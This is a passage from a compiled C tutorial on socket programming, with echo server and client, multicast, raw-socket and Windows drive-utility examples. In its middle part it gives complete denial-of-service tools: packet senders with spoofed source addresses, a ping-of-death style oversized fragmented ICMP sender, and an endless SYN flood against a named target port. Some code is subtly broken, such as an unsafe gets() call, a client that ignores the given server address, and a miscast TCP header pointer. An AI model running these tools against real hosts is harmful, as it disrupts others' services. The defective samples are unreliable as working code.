/* Go through the loop once for each connection */
for(i=0; i < num; i++)
{
/* Wait for an incoming connection */
printf("Iteration: #%d\n", i+1);
printf(" waiting on accept()\n");
accept_sd = accept(listen_sd, NULL, NULL);
if(accept_sd < 0)
{
perror("Iserver - accept() error");
close(listen_sd);
exit(-1);
}
else
printf("accept() is OK and completed successfully!\n");

/* Receive a message from the client */


printf("I am waiting client(s) to send message(s) to me...\n");
rc = recv(accept_sd, buffer, sizeof(buffer), 0);
if(rc <= 0)
{
perror("Iserver - recv() error");
close(listen_sd);
close(accept_sd);
exit(-1);
}
else
printf("The message from client: \"%s\"\n", buffer);
/* Echo the data back to the client */
printf("Echoing it back to client...\n");
len = rc;

file:///C|/Tutorial.txt (633 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

rc = send(accept_sd, buffer, len, 0);


if(rc <= 0)
{
perror("Iserver - send() error");
close(listen_sd);
close(accept_sd);
exit(-1);
}
else
printf("Iserver - send() is OK.\n");
/* Close the incoming connection */
close(accept_sd);
}
/* Close the listen socket */
close(listen_sd);
return 0;
}

---------------------------------------------------------------------------------------------------------------

/****** comclient.c ******/


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
/*Our server port as in the previous program */
#define SERVER_PORT 12345

main (int argc, char *argv[])


{
int len, rc;
int sockfd;
char send_buf[100];
char recv_buf[100];
struct sockaddr_in addr;

if(argc !=2)
{
printf("Usage: %s <Server_name or Server_IP_address>\n", argv[0]);
exit (-1);
}
/* Create an AF_INET stream socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
perror("client - socket() error");
exit(-1);
}
else
printf("client - socket() is OK.\n");
/* Initialize the socket address structure */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
/* Connect to the server */

file:///C|/Tutorial.txt (634 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

rc = connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));


if(rc < 0)
{
perror("client - connect() error");
close(sockfd);
exit(-1);
}
else
{
printf("client - connect() is OK.\n");
printf("connect() completed successfully.\n");
printf("Connection with %s using port %d established!\n", argv[1], SERVER_PORT);
}

/* Enter data buffer that is to be sent */


printf("Enter message to be sent to server:\n");
gets(send_buf);
/* Send data buffer to the worker job */
len = send(sockfd, send_buf, strlen(send_buf) + 1, 0);
if(len != strlen(send_buf) + 1)
{
perror("client - send() error");
close(sockfd);
exit(-1);
}
else
printf("client - send() is OK.\n");
printf("%d bytes sent.\n", len);
/* Receive data buffer from the worker job */
len = recv(sockfd, recv_buf, sizeof(recv_buf), 0);
if(len != strlen(send_buf) + 1)
{
perror("client - recv() error");
close(sockfd);
exit(-1);
}
else
{
printf("client - recv() is OK.\n");
printf("The sent message: \"%s\" successfully received by server and echoed back to client!\n", recv_buf);
printf("%d bytes received.\n", len);
}
/* Close the socket */
close(sockfd);
return 0;
}

-------------------------------------------------------------------------------------------------------------------

/* Send Multicast Datagram code example. */


#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

file:///C|/Tutorial.txt (635 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

struct in_addr localInterface;


struct sockaddr_in groupSock;
int sd;
char databuf[1024] = "Multicast test message lol!";
int datalen = sizeof(databuf);

int main (int argc, char *argv[])


{
/* Create a datagram socket on which to send. */
sd = socket(AF_INET, SOCK_DGRAM, 0);
if(sd < 0)
{
perror("Opening datagram socket error");
exit(1);
}
else
printf("Opening the datagram socket...OK.\n");

/* Initialize the group sockaddr structure with a */


/* group address of 225.1.1.1 and port 5555. */
memset((char *) &groupSock, 0, sizeof(groupSock));
groupSock.sin_family = AF_INET;
groupSock.sin_addr.s_addr = inet_addr("226.1.1.1");
groupSock.sin_port = htons(4321);

/* Disable loopback so you do not receive your own datagrams.


{
char loopch = 0;
if(setsockopt(sd, IPPROTO_IP, IP_MULTICAST_LOOP, (char *)&loopch, sizeof(loopch)) < 0)
{
perror("Setting IP_MULTICAST_LOOP error");
close(sd);
exit(1);
}
else
printf("Disabling the loopback...OK.\n");
}
*/

/* Set local interface for outbound multicast datagrams. */


/* The IP address specified must be associated with a local, */
/* multicast capable interface. */
localInterface.s_addr = inet_addr("203.106.93.94");
if(setsockopt(sd, IPPROTO_IP, IP_MULTICAST_IF, (char *)&localInterface, sizeof(localInterface)) < 0)
{
perror("Setting local interface error");
exit(1);
}
else
printf("Setting the local interface...OK\n");
/* Send a message to the multicast group specified by the*/
/* groupSock sockaddr structure. */
/*int datalen = 1024;*/
if(sendto(sd, databuf, datalen, 0, (struct sockaddr*)&groupSock, sizeof(groupSock)) < 0)
{perror("Sending datagram message error");}

file:///C|/Tutorial.txt (636 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("Sending datagram message...OK\n");

/* Try the re-read from the socket if the loopback is not disable
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error\n");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message from client...OK\n");
printf("The message is: %s\n", databuf);
}
*/
return 0;
}

-----------------------------------------------------------------------------------------------------------------

/* Receiver/client multicast Datagram example. */


#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

struct sockaddr_in localSock;


struct ip_mreq group;
int sd;
int datalen;
char databuf[1024];

int main(int argc, char *argv[])


{
/* Create a datagram socket on which to receive. */
sd = socket(AF_INET, SOCK_DGRAM, 0);
if(sd < 0)
{
perror("Opening datagram socket error");
exit(1);
}
else
printf("Opening datagram socket....OK.\n");

/* Enable SO_REUSEADDR to allow multiple instances of this */


/* application to receive copies of the multicast datagrams. */
{
int reuse = 1;
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&reuse, sizeof(reuse)) < 0)
{
perror("Setting SO_REUSEADDR error");
close(sd);
exit(1);

file:///C|/Tutorial.txt (637 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
else
printf("Setting SO_REUSEADDR...OK.\n");
}

/* Bind to the proper port number with the IP address */


/* specified as INADDR_ANY. */
memset((char *) &localSock, 0, sizeof(localSock));
localSock.sin_family = AF_INET;
localSock.sin_port = htons(4321);
localSock.sin_addr.s_addr = INADDR_ANY;
if(bind(sd, (struct sockaddr*)&localSock, sizeof(localSock)))
{
perror("Binding datagram socket error");
close(sd);
exit(1);
}
else
printf("Binding datagram socket...OK.\n");

/* Join the multicast group 226.1.1.1 on the local 203.106.93.94 */


/* interface. Note that this IP_ADD_MEMBERSHIP option must be */
/* called for each local interface over which the multicast */
/* datagrams are to be received. */
group.imr_multiaddr.s_addr = inet_addr("226.1.1.1");
group.imr_interface.s_addr = inet_addr("203.106.93.94");
if(setsockopt(sd, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char *)&group, sizeof(group)) < 0)
{
perror("Adding multicast group error");
close(sd);
exit(1);
}
else
printf("Adding multicast group...OK.\n");

/* Read from the socket. */


datalen = sizeof(databuf);
if(read(sd, databuf, datalen) < 0)
{
perror("Reading datagram message error");
close(sd);
exit(1);
}
else
{
printf("Reading datagram message...OK.\n");
printf("The message from multicast server is: \"%s\"\n", databuf);
}
return 0;
}

==============================MODULE43=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |

file:///C|/Tutorial.txt (638 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| compilation. Published as is basis for educational, reacretional and |


| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using gcc on Linux/Fedora Core 3 machine...

// ----rawudp.c------
// Must be run by root lol! Just datagram, no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

// The packet length


#define PCKT_LEN 8192

// Can create separate header file (.h) for all


// headers' structure
// IP header's structure
struct ipheader {
unsigned char iph_ihl:5, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};

// UDP header's structure


struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
// total udp header length: 8 bytes (=64 bits)

// Function for checksum calculation


// From the RFC, the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."

file:///C|/Tutorial.txt (639 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

unsigned short csum(unsigned short *buf, int nwords)


{ //
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

// Source IP, source port, target IP, target port from


// the command line arguments
int main(int argc, char *argv[])
{
int sd;
// No data/payload just datagram
char buffer[PCKT_LEN];
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
// Source and destination addresses: IP and port
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}

// Create a raw socket with UDP protocol


sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
// If something wrong just exit
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");

// The source is redundant, may be used later if needed


// Address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Port numbers
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);

file:///C|/Tutorial.txt (640 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Fabricate the IP header or we can use the


// standard header structures but assign our own values.
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16; // Low delay
ip->iph_len = sizeof(struct ipheader) + sizeof(struct udpheader);
ip->iph_ident = htons(54321);
ip->iph_ttl = 64; // hops
ip->iph_protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph_sourceip = inet_addr(argv[1]);
// The destination IP address
ip->iph_destip = inet_addr(argv[3]);

// Fabricate the UDP header


// Source port number, redundant
udp->udph_srcport = htons(atoi(argv[2]));
// Destination port number
udp->udph_destport = htons(atoi(argv[4]));
udp->udph_len = htons(sizeof(struct udpheader));
// Calculate the checksum for integrity
ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
// Inform the kernel do not fill up the packet structure
// we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK.\n");

// Send loop, send for every 2 second for 100 count


printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));

int count;
for(count = 1; count <=20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
{
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
}

file:///C|/Tutorial.txt (641 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

------------------------------------------------------------------------------------------------------------------------

//---cat rawtcp.c---
// Run as root or suid 0, just datagram no data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT_LEN 8192

// May create separate header file (.h) for all


// headers' structures
// IP header's structure
struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};

/* Structure of a TCP header */


struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
// unsigned char tcph_flags;
unsigned int
tcp_res1:4, /*little-endian*/
tcph_hlen:4, /*length of tcp header in 32-bit words*/
tcph_fin:1, /*Finish flag "fin"*/
tcph_syn:1, /*Synchronize sequence numbers to start a connection*/
tcph_rst:1, /*Reset flag */
tcph_psh:1, /*Push, sends data to the application*/
tcph_ack:1, /*acknowledge*/
tcph_urg:1, /*urgent pointer*/
tcph_res2:2;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};

// Simple checksum function, may use others such as


// Cyclic Redundancy Check, CRC
unsigned short csum(unsigned short *buf, int len)

file:///C|/Tutorial.txt (642 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
unsigned long sum;
for(sum=0; len>0; len--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

int main(int argc, char *argv[])


{
int sd;
// No data, just datagram
char buffer[PCKT_LEN];
// The size of the headers
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader));
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n", argv[0]);
exit(-1);
}

sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);


if(sd < 0)
{
perror("socket() error");
exit(-1);
}
else
printf("socket()-SOCK_RAW and tcp protocol is OK.\n");

// The source is redundant, may be used later if needed


// Address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Source port, can be any, modify as needed
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// Source IP, can be any, modify as needed
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);
// IP structure
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16;
ip->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader);
ip->iph_ident = htons(54321);
ip->iph_offset = 0;

file:///C|/Tutorial.txt (643 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ip->iph_ttl = 64;
ip->iph_protocol = 6; // TCP
ip->iph_chksum = 0; // Done by kernel

// Source IP, modify as needed, spoofed, we accept through


// command line argument
ip->iph_sourceip = inet_addr(argv[1]);
// Destination IP, modify as needed, but here we accept through
// command line argument
ip->iph_destip = inet_addr(argv[3]);

// TCP structure
// The source port, spoofed, we accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command line
tcp->tcph_destport = htons(atoi(argv[4]));
tcp->tcph_seqnum = htonl(1);
tcp->tcph_acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph_syn = 1;
tcp->tcph_ack = 0;
tcp->tcph_win = htons(32767);
tcp->tcph_chksum = 0; // Done by kernel
tcp->tcph_urgptr = 0;
// IP checksum calculation
ip->iph_chksum = csum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct tcpheader)));

// Inform the kernel do not fill up the headers'


// structure, we fabricated our own
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK\n");

printf("Using:::::Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));

// sendto() loop, send every 2 second for 50 counts


unsigned int count;
for(count = 0; count < 20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
printf("Count #%u - sendto() is OK\n", count);
sleep(2);
}
close(sd);
return 0;
}

file:///C|/Tutorial.txt (644 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

------------------------------------------------------------------------------------------------------------------------

/* Must be root or suid 0 to open RAW socket */


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])


{
int s, i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;
struct sockaddr_in dst;
int offset;
int on;
int num = 100;

if(argc < 3)
{
printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
printf("- saddress is the spoofed source address\n");
printf("- dstaddress is the target\n");
printf("- number is the number of packets to send, 100 is the default\n");
exit(1);
}

/* If enough argument supplied */


if(argc == 4)
/* Copy the packet number */
num = atoi(argv[3]);

/* Loop based on the packet number */


for(i=1;i<=num;i++)
{
on = 1;
bzero(buf, sizeof(buf));

/* Create RAW socket */


if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket() error");
/* If something wrong, just exit */
exit(1);
}

/* socket options, tell the kernel we provide the IP structure */

file:///C|/Tutorial.txt (645 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)


{
perror("setsockopt() for IP_HDRINCL error");
exit(1);
}

if((hp = gethostbyname(argv[2])) == NULL)


{
if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
exit(1);
}
}
else
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

/* The following source address just redundant for target to collect */


if((hp2 = gethostbyname(argv[1])) == NULL)
{
if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
exit(1);
}
}
else
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), argv[1]);

/* Ip structure, check the /usr/include/netinet/ip.h */


ip->ip_v = 4;
ip->ip_hl = sizeof*ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(buf));
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* Let kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;
icmp->code = 0;
/* Header checksum */
icmp->checksum = htons(~(ICMP_ECHO << 8));

for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))


{
ip->ip_off = htons(offset >> 3);

if(offset < 65120)


ip->ip_off |= htons(0x2000);

file:///C|/Tutorial.txt (646 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
ip->ip_len = htons(418); /* make total 65538 */

/* sending time */
if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
fprintf(stderr, "offset %d: ", offset);
perror("sendto() error");
}
else
printf("sendto() is OK.\n");

/* IF offset = 0, define our ICMP structure */


if(offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
/* close socket */
close(s);
usleep(30000);
}
return 0;
}

------------------------------------------------------------------------------------------------------------------------

#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

/* TCP flags, can define something like this if needed */


/*
#define URG 32
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
*/

struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;

file:///C|/Tutorial.txt (647 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

unsigned int iph_sourceip;


unsigned int iph_destip;
};

/* Structure of a TCP header */


struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
unsigned int
tcp_res1:4, /*little-endian*/
tcph_hlen:4, /*length of tcp header in 32-bit words*/
tcph_fin:1, /*Finish flag "fin"*/
tcph_syn:1, /*Synchronize sequence numbers to start a connection*/
tcph_rst:1, /*Reset flag */
tcph_psh:1, /*Push, sends data to the application*/
tcph_ack:1, /*acknowledge*/
tcph_urg:1, /*urgent pointer*/
tcph_res2:2;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};

/* function for header checksums */


unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

int main(int argc, char *argv[])


{
/* open raw socket */
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
/* this buffer will contain ip header, tcp header, and payload
we'll point an ip header structure at its beginning,
and a tcp header structure after that to write the header values into it */
char datagram[4096];
struct ipheader *iph = (struct ipheader *) datagram;
struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
struct sockaddr_in sin;

if(argc != 3)
{
printf("Invalid parameters!\n");
printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
exit(-1);
}

file:///C|/Tutorial.txt (648 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

unsigned int floodport = atoi(argv[2]);

/* the sockaddr_in structure containing the destination address is used


in sendto() to determine the datagrams path */

sin.sin_family = AF_INET;
/* you byte-order >1byte header values to network byte order
(not needed on big-endian machines). */
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);

/* zero out the buffer */


memset(datagram, 0, 4096);

/* we'll now fill in the ip/tcp header values */


iph->iph_ihl = 5;
iph->iph_ver = 4;
iph->iph_tos = 0;
/* just datagram, no payload. You can add payload as needed */
iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
/* the value doesn't matter here */
iph->iph_ident = htonl (54321);
iph->iph_offset = 0;
iph->iph_ttl = 255;
iph->iph_protocol = 6; // upper layer protocol, TCP
/* set it to 0 before computing the actual checksum later */
iph->iph_chksum = 0;
/* SYN's can be blindly spoofed. Better to create randomly generated IP
to avoid blocking by firewall */
iph->iph_sourceip = inet_addr ("192.168.3.100");
/* Better if we can create a range of destination IP, so we can flood all of them
at the same time */
iph->iph_destip = sin.sin_addr.s_addr;
/* arbitrary port for source */
tcph->tcph_srcport = htons (5678);
tcph->tcph_destport = htons (floodport);
/* in a SYN packet, the sequence is a random */
tcph->tcph_seqnum = random();
/* number, and the ack sequence is 0 in the 1st packet */
tcph->tcph_acknum = 0;
tcph->tcph_res2 = 0;
/* first and only tcp segment */
tcph->tcph_offset = 0;
/* initial connection request, I failed to use TH_FIN :o(
so check the tcp.h, TH_FIN = 0x02 */
tcph->tcph_syn = 0x02;
/* maximum allowed window size */
tcph->tcph_win = htonl (65535);
/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission. */
tcph->tcph_chksum = 0;
tcph-> tcph_urgptr = 0;

iph->iph_chksum = csum ((unsigned short *) datagram, iph->iph_len >> 1);

/* a IP_HDRINCL call, to make sure that the kernel knows the

file:///C|/Tutorial.txt (649 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

header is included in the data, and doesn't insert its own


header into the packet before our data */
/* Some dummy */
int tmp = 1;
const int *val = &tmp;
if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
{
printf("Error: setsockopt() - Cannot set HDRINCL!\n");
/* If something wrong, just exit */
exit(-1);
}
else
printf("OK, using your own header!\n");

/* You have to manually stop this program */


while(1)
{
if(sendto(s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->iph_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf("sendto() error!!!.\n");
else
printf("Flooding %s at %u...\n", argv[1], floodport);

}
return 0;
}

==============================ModuleA=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>

//Buffer, be careful with terminated NULL

file:///C|/Tutorial.txt (650 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Must match with ++mydrives[1]...that is one space


//Example if no one space: "A:"--> ++mydrives[0];
TCHAR mydrives[] = " A: ";
//Or char mydrives[] = {" A: "};
//Or char mydrives[] = " A: ";

int main()
{
//Get the drives bit masks...1 is available, 0 is not available
//A = least significant bit...
ULONG DriveMask = _getdrives();
//If something wrong
if(DriveMask == 0)
printf("_getdrives() failed with failure code: %d\n", GetLastError());
else
{
printf("This machine has the following logical drives:\n");
while (DriveMask)
{ //List all the drives...
if(DriveMask & 1)
printf(mydrives);
//Go to the next drive strings with one space
++mydrives[1];
//Shift the bit masks binary
//to the right and repeat
DriveMask >>= 1;
}
printf("\n");
}
return 0;
}

-----------------------------------------------------------------------------------------------

#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>

TCHAR g_szText[] = _T("Drive Total_clus Available_clus Sec/Cluster Bytes/Sec\n");


TCHAR g_szText1[] = _T("----- ---------- -------------- ----------- ---------\n");
TCHAR g_szInfo[] = _T("-> \n");

//For data display format...


//Right justified, thousand comma separated and other format
//for displayed data
void utoiRightJustified(TCHAR* szLeft, TCHAR* szRight, unsigned uValue)
{
TCHAR* szCur = szRight;
int nComma = 0;

if(uValue)
{
while(uValue && (szCur >= szLeft))
{
if(nComma == 3)

file:///C|/Tutorial.txt (651 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
*szCur = ',';
nComma = 0;
}
else
{
*szCur = (uValue % 10) | 0x30;
uValue /= 10;
++nComma;
}
--szCur;
}
}
else
{
*szCur = '0';
--szCur;
}

if(uValue)
{
szCur = szLeft;
while(szCur <= szRight)
{//If not enough field to display the data...
*szCur = '*';
++szCur;
}
}
}

int main()
{
TCHAR szMsg[4200];
struct _diskfree_t df = {0};
//Search drives and assigns the bit masks to
//uDriveMask variable...
ULONG uDriveMask = _getdrives();
unsigned uErr, uLen, uDrive;

printf("clus - cluster, sec - sector\n");


printf(g_szText);
printf(g_szText1);

for(uDrive = 1; uDrive <= 26; ++uDrive)


{
//If the drive is available...
if(uDriveMask & 1)
{ //Call _getdiskfree()...
uErr = _getdiskfree(uDrive, &df);
//Provide some storage
memcpy(szMsg, g_szInfo, sizeof(g_szInfo));
szMsg[3] = uDrive + 'A' - 1;

//If _getdiskfree() is no error, display the data


if(uErr == 0)
{

file:///C|/Tutorial.txt (652 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

utoiRightJustified(szMsg+4, szMsg+15, df.total_clusters);


utoiRightJustified(szMsg+18, szMsg+29, df.avail_clusters);
utoiRightJustified(szMsg+27, szMsg+37, df.sectors_per_cluster);
utoiRightJustified(szMsg+40, szMsg+50, df.bytes_per_sector);
}
else
{//Print system message and left other fields empty
uLen = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, uErr, 0, szMsg+8, 4100, NULL);
szMsg[uLen+6] = ' ';
szMsg[uLen+7] = ' ';
szMsg[uLen+8] = ' ';
}
printf(szMsg);
}
//shift right the found drive bit masks and
//repeat the process
uDriveMask >>= 1;
}
return 0;
}

--------------------------------------------------------------------------------------------------------

/*******cruntime.cpp*******/
/***Visual C++ .Net/7.0****/
#include <stdio.h>
#include <conio.h>
#include <direct.h>
#include <stdlib.h>
#include <ctype.h>

int main(void)
{
int chr, drive, curdrive;
static char path[_MAX_PATH];
char buffer[_MAX_PATH];
char newdir[50] = "\\testdir";
char path1[50] = "C:\\WINNT\\System32\\config";

/*Save current drive.*/


curdrive = _getdrive();
printf("Available drives in this machine are: \n");

